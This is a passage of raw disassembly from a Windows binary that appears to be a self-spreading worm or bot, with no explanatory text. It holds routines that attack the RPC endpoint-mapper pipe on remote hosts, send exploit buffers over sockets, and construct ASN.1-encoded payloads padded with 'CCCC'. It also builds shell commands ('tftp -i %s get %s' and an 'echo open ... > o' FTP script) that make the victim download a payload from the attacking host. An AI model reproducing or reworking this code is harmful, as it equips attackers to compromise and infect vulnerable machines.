eax, [ebp+arg_4] push eax lea eax, [ebp+var_138] push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" push eax call sub_4172B0 add esp, 0Ch xor ebx, ebx lea eax, [ebp+var_138] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax call near ptr 2630000h nop cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_402E5C loc_402E4D: ; CODE XREF: sub_402DD7+126j lea eax, [ebp+arg_4] push eax call sub_402ACC pop ecx jmp loc_403055 ; --------------------------------------------------------------------------- loc_402E5C: ; CODE XREF: sub_402DD7+74j lea eax, [ebp+arg_4] push 2 push eax call sub_40D4C5 pop ecx lea esi, [ebp+arg_0] pop ecx push 1 push eax lea eax, [ebp+var_10] push eax sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_402B84 add esp, 0C8h cmp eax, ebx mov [ebp+var_8], eax jz short loc_402EF4 mov edi, 186A0h push edi call sub_417B89 mov esi, eax push edi push ebx push esi call sub_417330 add esp, 10h lea eax, [ebp+var_C] mov edi, 2710h push ebx push eax push edi push esi push 48h push offset dword_427648 push [ebp+var_4] call near ptr 2620620h nop cmp byte ptr [esi+2], 0Ch jnz short loc_402EE4 lea eax, [ebp+var_14] push ebx push eax push [ebp+var_10] push [ebp+var_8] push [ebp+var_4] call near ptr 2620000h nop test eax, eax jnz short loc_402F02 loc_402EE4: ; CODE XREF: sub_402DD7+F3j push esi call sub_417C3B push [ebp+var_8] call sub_417C3B pop ecx pop ecx loc_402EF4: ; CODE XREF: sub_402DD7+B9j push [ebp+var_4] call near ptr 2611A31h nop jmp loc_402E4D ; --------------------------------------------------------------------------- loc_402F02: ; CODE XREF: sub_402DD7+10Bj lea eax, [ebp+var_C] push ebx push eax push edi push esi push [ebp+var_4] nop call near ptr 2611183h push [ebp+var_8] mov edi, eax call sub_417C3B push esi call sub_417C3B pop ecx pop ecx push [ebp+var_4] call near ptr 2611A31h nop lea eax, [ebp+arg_4] push eax call sub_402ACC cmp edi, 1 pop ecx jnz loc_403066 jmp loc_403055 ; --------------------------------------------------------------------------- loc_402F45: ; CODE XREF: sub_402DD7+1Aj lea eax, [ebp+arg_4] push 1 push eax call sub_40D4C5 mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_403055 xor ebx, ebx push ebx push 1 push 2 call dword_43F6E8 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_403055 push 10h lea eax, [ebp+var_24] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+arg_A0] call dword_43F668 mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call dword_43F6A8 mov [ebp+var_20], eax push ebx lea eax, [ebp+var_C] push esi push eax lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_402B84 mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp+var_8], esi jnz short loc_402FD7 push [ebp+var_4] jmp short loc_40304F ; --------------------------------------------------------------------------- loc_402FD7: ; CODE XREF: sub_402DD7+1F9j mov edi, [ebp+var_4] lea eax, [ebp+var_24] push 10h push eax push edi call dword_43F610 cmp eax, 0FFFFFFFFh jnz short loc_402FEF loc_402FEC: ; CODE XREF: sub_402DD7+22Aj push esi jmp short loc_403048 ; --------------------------------------------------------------------------- loc_402FEF: ; CODE XREF: sub_402DD7+213j push ebx push 48h push offset dword_427648 push edi call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_402FEC mov esi, 1000h push ebx lea eax, [ebp+var_1338] push esi push eax push edi call dword_43F680 push ebx push [ebp+var_C] push [ebp+var_8] push edi call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_403030 push [ebp+var_8] jmp short loc_403048 ; --------------------------------------------------------------------------- loc_403030: ; CODE XREF: sub_402DD7+252j push ebx lea eax, [ebp+var_1338] push esi push eax push edi call dword_43F680 push [ebp+var_8] cmp eax, 0FFFFFFFFh jnz short loc_403059 loc_403048: ; CODE XREF: sub_402DD7+216j ; sub_402DD7+257j ; DATA XREF: ... call sub_417C3B pop ecx push edi loc_40304F: ; CODE XREF: sub_402DD7+1FEj call dword_43F700 loc_403055: ; CODE XREF: sub_402DD7+31j ; sub_402DD7+80j ... xor eax, eax jmp short loc_4030C7 ; --------------------------------------------------------------------------- loc_403059: ; CODE XREF: sub_402DD7+26Fj call sub_417C3B pop ecx push edi call dword_43F700 loc_403066: ; CODE XREF: sub_402DD7+163j lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_338] push offset unk_427B78 push eax call sub_4172B0 add esp, 0Ch loc_40307E: ; CODE XREF: sub_402DD7+2C7j lea eax, [ebp+var_338] push eax call sub_40C04D test eax, eax pop ecx jnz short loc_4030A2 push 1388h call near ptr 25F0439h nop inc ebx cmp ebx, 6 jl short loc_40307E jmp short loc_4030C4 ; --------------------------------------------------------------------------- loc_4030A2: ; CODE XREF: sub_402DD7+2B6j lea eax, [ebp+var_338] push eax call sub_40BF6D mov eax, [ebp+arg_A8] pop ecx imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_4030C4: ; CODE XREF: sub_402DD7+2C9j push 1 pop eax loc_4030C7: ; CODE XREF: sub_402DD7+280j pop edi pop esi pop ebx leave retn sub_402DD7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4030CC proc near ; DATA XREF: ___:00426004o jmp $+5 sub_4030CC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4030D1 proc near push 0BB80h push 76Ch call sub_415450 pop ecx mov dword_43C810, eax pop ecx retn sub_4030D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4030E8 proc near ; CODE XREF: sub_403249+42Ap var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_43F6A8 mov [ebp+var_C], eax mov ax, word ptr dword_43C810 push eax call dword_43F668 push esi push 1 push 2 mov [ebp+var_E], ax call dword_43F6E8 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403222 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43F610 cmp eax, 0FFFFFFFFh jz loc_403222 push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43F680 mov esi, offset byte_42F674 push esi push esi push [ebp+arg_0] call sub_40AEE0 pop ecx mov edi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 18h push esi push esi push dword_43C83C push [ebp+arg_0] call sub_40AEE0 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_403222 push 1F4h call near ptr 25F0439h nop push esi push offset dword_428598 lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_403226 loc_403222: ; CODE XREF: sub_4030E8+51j ; sub_4030E8+67j ... xor al, al jmp short loc_403244 ; --------------------------------------------------------------------------- loc_403226: ; CODE XREF: sub_4030E8+138j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43F680 push ebx call dword_43F700 mov al, 1 loc_403244: ; CODE XREF: sub_4030E8+13Cj pop edi pop esi pop ebx leave retn sub_4030E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403249 proc near ; CODE XREF: ___:004037ADp ; ___:004037CFp var_89B4 = byte ptr -89B4h var_894C = byte ptr -894Ch var_68DC = byte ptr -68DCh var_686C = byte ptr -686Ch var_5DA8 = byte ptr -5DA8h var_4804 = byte ptr -4804h var_4803 = byte ptr -4803h var_3770 = byte ptr -3770h var_2CAC = byte ptr -2CACh var_2CAB = byte ptr -2CABh var_2CA8 = byte ptr -2CA8h var_2C2C = byte ptr -2C2Ch var_245C = byte ptr -245Ch var_1FB1 = byte ptr -1FB1h var_1CC4 = byte ptr -1CC4h var_14E0 = byte ptr -14E0h var_14D0 = byte ptr -14D0h var_11AC = byte ptr -11ACh var_11A8 = byte ptr -11A8h var_119C = byte ptr -119Ch var_F14 = byte ptr -0F14h var_E74 = byte ptr -0E74h var_768 = dword ptr -768h var_758 = byte ptr -758h var_744 = byte ptr -744h var_104 = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h var_3C = byte ptr -3Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B4h call sub_417B30 mov eax, dword_428634 push ebx mov [ebp+var_10], eax mov eax, dword_428638 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_3C] push offset loc_428628 push eax call sub_4172B0 add esp, 0Ch xor ebx, ebx xor esi, esi lea eax, [ebp+var_103] loc_403288: ; CODE XREF: sub_403249+4Ej mov cl, [ebp+esi+var_3C] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, 28h jl short loc_403288 push 60h lea eax, [ebp+var_B4] push offset dword_4280B8 push eax call sub_417390 lea eax, [ebp+var_3C] push eax call sub_417AB0 shl eax, 1 push eax lea eax, [ebp+var_104] push eax lea eax, [ebp+var_84] push eax call sub_417390 add esp, 1Ch lea eax, [ebp+var_3C] push 9 push (offset aC+3) push eax call sub_417AB0 pop ecx lea eax, [ebp+eax*2+var_85] push eax call sub_417390 lea eax, [ebp+var_3C] push eax call sub_417AB0 add al, 1Ah push 1 shl al, 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_B1] push eax call sub_417390 lea eax, [ebp+var_3C] push eax call sub_417AB0 shl al, 1 add al, 9 push 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_87] push eax call sub_417390 mov ax, word ptr dword_43C810 add esp, 2Ch push eax call dword_43F668 xor eax, 9999h push 2 mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax push offset dword_427DB8 call sub_417390 add esp, 0Ch cmp [ebp+arg_C0], ebx jz loc_403445 mov edi, 0DACh lea eax, [ebp+var_1CC4] push edi push 90h push eax call sub_417330 mov eax, [ebp+arg_C0] push 4 imul eax, 3Ch lea eax, dword_4284E0[eax] mov [ebp+var_14], eax push eax lea eax, [ebp+var_14E0] push eax call sub_417390 mov esi, offset loc_427D08 push esi call sub_417AB0 push eax lea eax, [ebp+var_14D0] push esi push eax call sub_417390 push 4 lea eax, [ebp+var_11AC] push offset loc_428620 push eax call sub_417390 push 4 lea eax, [ebp+var_11A8] push [ebp+var_14] push eax call sub_417390 add esp, 40h push esi call sub_417AB0 push eax lea eax, [ebp+var_119C] push esi push eax call sub_417390 add esp, 10h xor esi, esi lea eax, [ebp+var_4803] loc_4033FE: ; CODE XREF: sub_403249+1C6j mov cl, [ebp+esi+var_1CC4] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, edi jl short loc_4033FE mov esi, 1C52h lea eax, [ebp+var_89B4] push esi push 31h push eax mov [ebp+var_2CAC], bl mov [ebp+var_2CAB], bl call sub_417330 push esi lea eax, [ebp+var_68DC] push 31h push eax call sub_417330 add esp, 18h jmp short loc_40349C ; --------------------------------------------------------------------------- loc_403445: ; CODE XREF: sub_403249+118j push 7D0h lea eax, [ebp+var_F14] push 90h push eax call sub_417330 mov esi, offset loc_427D08 push esi call sub_417AB0 push eax lea eax, [ebp+var_E74] push esi push eax call sub_417390 lea eax, [ebp+var_10] push eax call sub_417AB0 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_758] push eax call sub_417390 mov eax, dword_4284E0 add esp, 2Ch mov [ebp+var_768], eax loc_40349C: ; CODE XREF: sub_403249+1FAj push 0E29h lea eax, [ebp+var_2CA8] push 31h push eax call sub_417330 movsx eax, [ebp+var_1] mov edi, [ebp+arg_BC] add esp, 0Ch add eax, 4 push ebx push eax lea eax, [ebp+var_B4] push eax push edi call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_4034DB loc_4034D4: ; CODE XREF: sub_403249+2B9j ; sub_403249+2E0j ... xor al, al jmp loc_403683 ; --------------------------------------------------------------------------- loc_4034DB: ; CODE XREF: sub_403249+289j mov esi, 640h push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43F680 push ebx push 68h push offset dword_42811C push edi call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_4034D4 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43F680 push ebx push 0A0h push offset dword_428188 push edi call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_4034D4 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43F680 cmp [ebp+arg_C0], ebx jz loc_4035F1 push 68h lea eax, [ebp+var_89B4] push offset dword_428340 push eax call sub_417390 lea eax, [ebp+var_4804] push 1B5Ah push eax lea eax, [ebp+var_894C] push eax call sub_417390 push 70h lea eax, [ebp+var_68DC] push offset dword_4283AC push eax call sub_417390 lea eax, [ebp+var_3770] push 0A5Eh push eax lea eax, [ebp+var_686C] push eax call sub_417390 push 84h lea eax, [ebp+var_5DA8] push offset dword_428420 push eax call sub_417390 add esp, 3Ch lea eax, [ebp+var_89B4] push ebx push 10FCh push eax push edi call dword_43F6B8 cmp eax, 0FFFFFFFFh jz loc_4034D4 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43F680 push ebx push 0FDCh lea eax, [ebp+var_68DC] jmp short loc_403647 ; --------------------------------------------------------------------------- loc_4035F1: ; CODE XREF: sub_403249+2F8j push 7Ch lea eax, [ebp+var_2CA8] push offset dword_42822C push eax call sub_417390 lea eax, [ebp+var_F14] push 7D0h push eax lea eax, [ebp+var_2C2C] push eax call sub_417390 push 90h lea eax, [ebp+var_245C] push offset off_4282AC push eax call sub_417390 add esp, 24h mov [ebp+var_1FB1], bl lea eax, [ebp+var_2CA8] push ebx push 0CF8h loc_403647: ; CODE XREF: sub_403249+3A6j push eax push edi call dword_43F6B8 cmp eax, 0FFFFFFFFh jz loc_4034D4 push 12Ch nop call near ptr 25F0439h sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_4030E8 add esp, 0BCh test al, al setnz al loc_403683: ; CODE XREF: sub_403249+28Dj pop edi pop esi pop ebx leave retn sub_403249 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 854h push ebx push esi push edi push 0BB80h push 76Ch call sub_415450 xor edi, edi push 10h lea eax, [ebp-14h] push edi push eax mov [ebp-4], edi call sub_417330 add esp, 14h lea eax, [ebp+0Ch] mov word ptr [ebp-14h], 2 push eax call dword_43F6A8 push dword ptr [ebp+0A8h] mov [ebp-10h], eax call dword_43F668 push 6 push 1 push 2 mov [ebp-12h], ax call dword_43F6E8 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403790 lea eax, [ebp-14h] push 10h push eax push ebx call dword_43F610 cmp eax, 0FFFFFFFFh jz loc_403790 push edi push 89h push offset dword_427EA0 push ebx call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_403790 mov esi, 640h push edi lea eax, [ebp-654h] push esi push eax push ebx call dword_43F680 push edi push 0A8h push offset dword_427F2C push ebx call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_403790 push edi lea eax, [ebp-654h] push esi push eax push ebx call dword_43F680 push edi push 0DEh push offset dword_427FD8 push ebx call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_403790 push edi lea eax, [ebp-654h] push esi push eax push ebx call dword_43F680 movsx eax, byte ptr [ebp-610h] sub eax, 30h jz short loc_40379A dec eax jz short loc_403797 loc_403790: ; CODE XREF: ___:004036EBj ; ___:00403701j ... xor eax, eax jmp loc_403817 ; --------------------------------------------------------------------------- loc_403797: ; CODE XREF: ___:0040378Ej push edi jmp short loc_4037BE ; --------------------------------------------------------------------------- loc_40379A: ; CODE XREF: ___:0040378Bj push 2 push ebx sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_403249 add esp, 0C4h test al, al jnz short loc_4037DE push 1 loc_4037BE: ; CODE XREF: ___:00403798j push ebx lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_403249 add esp, 0C4h test al, al jz short loc_4037E5 loc_4037DE: ; CODE XREF: ___:004037BAj mov dword ptr [ebp-4], 1 loc_4037E5: ; CODE XREF: ___:004037DCj push ebx call dword_43F700 cmp dword ptr [ebp-4], 0 jz short loc_403814 lea eax, [ebp-854h] push eax call sub_40BF6D mov eax, [ebp+0B0h] pop ecx imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_403814: ; CODE XREF: ___:004037F0j push 1 pop eax loc_403817: ; CODE XREF: ___:00403792j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_40381C proc near ; CODE XREF: sub_403A90+Ep ; sub_403A90+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40381C endp ; =============== S U B R O U T I N E ======================================= sub_403826 proc near ; CODE XREF: sub_403A90+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_417B89 mov edi, eax pop ecx test edi, edi jz short loc_403858 push ebx push 0 push edi call sub_417330 push ebx push [esp+1Ch+arg_0] push edi call sub_417390 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_403858: ; CODE XREF: sub_403826+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_403826 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403860 proc near ; CODE XREF: sub_40395A+18p ; sub_4039D4+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_417B89 mov esi, eax pop ecx test esi, esi jz short loc_4038AC push edi push 0 push esi call sub_417330 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_417390 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_417390 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_4038AC: ; CODE XREF: sub_403860+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_403860 endp ; =============== S U B R O U T I N E ======================================= sub_4038B5 proc near ; CODE XREF: sub_40395A+5Ep ; sub_40395A+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4038C5 push eax call sub_417C3B pop ecx loc_4038C5: ; CODE XREF: sub_4038B5+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_4038B5 endp ; =============== S U B R O U T I N E ======================================= sub_4038CE proc near ; CODE XREF: sub_40395A+20p ; sub_403A35+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_4038FB xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_417B89 mov edi, eax pop ecx test edi, edi jnz short loc_4038FF loc_4038FB: ; CODE XREF: sub_4038CE+Dj xor al, al jmp short loc_403956 ; --------------------------------------------------------------------------- loc_4038FF: ; CODE XREF: sub_4038CE+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_417330 add esp, 0Ch cmp ebx, 1 jnz short loc_403924 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40393E ; --------------------------------------------------------------------------- loc_403924: ; CODE XREF: sub_4038CE+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40393E: ; CODE XREF: sub_4038CE+54j push eax call sub_417390 add esp, 0Ch push dword ptr [esi] call sub_417C3B add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_403956: ; CODE XREF: sub_4038CE+2Fj pop edi pop esi pop ebx retn sub_4038CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40395A proc near ; CODE XREF: sub_403A90+89p ; sub_403A90+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_43C824 call sub_403860 lea ecx, [ebp+var_8] call sub_4038CE mov eax, [ebp+var_4] inc eax push eax call sub_417B89 mov edi, eax pop ecx test edi, edi jnz short loc_403994 xor al, al jmp short loc_4039D0 ; --------------------------------------------------------------------------- loc_403994: ; CODE XREF: sub_40395A+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_417330 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_417390 add esp, 18h mov ecx, esi call sub_4038B5 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_4038B5 mov al, 1 loc_4039D0: ; CODE XREF: sub_40395A+38j pop edi pop esi leave retn sub_40395A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4039D4 proc near ; CODE XREF: sub_403A08+14p ; sub_403A25+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_403860 mov ecx, esi call sub_4038B5 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_4039D4 endp ; =============== S U B R O U T I N E ======================================= sub_403A08 proc near ; CODE XREF: sub_403A90+F0p ; sub_403A90+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_417AB0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_4039D4 pop esi retn 4 sub_403A08 endp ; =============== S U B R O U T I N E ======================================= sub_403A25 proc near ; CODE XREF: sub_403A71+Bp ; sub_403A90+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4039D4 retn 8 sub_403A25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A35 proc near ; CODE XREF: sub_403A71+16p ; sub_403A90+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_4038CE test al, al jz short loc_403A6E push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push (offset loc_4289A7+1) call sub_403860 mov ecx, esi call sub_4038B5 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_403A6E: ; CODE XREF: sub_403A35+Fj pop esi leave retn sub_403A35 endp ; =============== S U B R O U T I N E ======================================= sub_403A71 proc near ; CODE XREF: sub_403A90+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_403A25 test al, al jz short loc_403A8C mov ecx, esi call sub_403A35 loc_403A8C: ; CODE XREF: sub_403A71+12j pop esi retn 8 sub_403A71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A90 proc near ; CODE XREF: ___:00404315p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40381C mov edi, 408h cmp [ebp+arg_8], edi jg loc_403DE4 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_403DE4 push esi lea ecx, [ebp+var_30] call sub_40381C lea ecx, [ebp+var_20] call sub_40381C lea ecx, [ebp+var_50] call sub_40381C lea ecx, [ebp+var_18] call sub_40381C lea ecx, [ebp+var_40] call sub_40381C lea ecx, [ebp+var_38] call sub_40381C lea ecx, [ebp+var_28] call sub_40381C push 4 push offset dword_428648 lea ecx, [ebp+var_30] call sub_4039D4 push 3 push offset dword_428650 lea ecx, [ebp+var_30] call sub_4039D4 lea ecx, [ebp+var_30] call sub_40395A lea ecx, [ebp+var_30] call sub_403A35 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_417330 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset byte_42863C call sub_4039D4 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_4039D4 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_4039D4 lea ecx, [ebp+var_20] call sub_40395A push offset loc_4289D0 lea ecx, [ebp+var_50] call sub_403A08 lea ecx, [ebp+var_50] call sub_40395A push esi lea eax, [ebp+var_858] push 44h push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_403826 lea ecx, [ebp+var_58] call sub_40395A push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_403A71 lea ecx, [ebp+var_58] call sub_4038B5 push esi lea eax, [ebp+var_858] push 43h push eax call sub_417330 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_403A08 push 4 push offset dword_428654 lea ecx, [ebp+var_18] call sub_4039D4 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_4039D4 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_4039D4 lea ecx, [ebp+var_18] call sub_40395A push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_403A25 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_403A25 lea ecx, [ebp+var_40] call sub_403A35 lea ecx, [ebp+var_18] call sub_4038B5 lea ecx, [ebp+var_50] call sub_4038B5 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_403A25 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_403A25 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_403A25 lea ecx, [ebp+var_38] call sub_403A35 lea ecx, [ebp+var_20] call sub_4038B5 lea ecx, [ebp+var_30] call sub_4038B5 lea ecx, [ebp+var_40] call sub_4038B5 push esi lea eax, [ebp+var_858] push 41h push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_4039D4 lea ecx, [ebp+var_28] call sub_40395A push 2 push offset dword_4289C4 lea ecx, [ebp+var_28] call sub_4039D4 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_403A25 lea ecx, [ebp+var_28] call sub_403A35 lea ecx, [ebp+var_38] call sub_4038B5 lea ecx, [ebp+var_10] call sub_40381C lea ecx, [ebp+var_8] call sub_40381C push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_403A25 lea ecx, [ebp+var_10] call sub_4038CE lea ecx, [ebp+var_28] call sub_4038B5 push offset dword_4289C0 lea ecx, [ebp+var_8] call sub_403A08 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_403A25 lea ecx, [ebp+var_8] call sub_4038CE lea ecx, [ebp+var_10] call sub_4038B5 push offset dword_4289BC lea ecx, [ebp+var_10] call sub_403A08 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_403A25 lea ecx, [ebp+var_10] call sub_4038CE lea ecx, [ebp+var_8] call sub_4038B5 push offset dword_4289B0 lea ecx, [ebp+var_8] call sub_403A08 push [ebp+var_C] lea ecx, [ebp+var_8] push 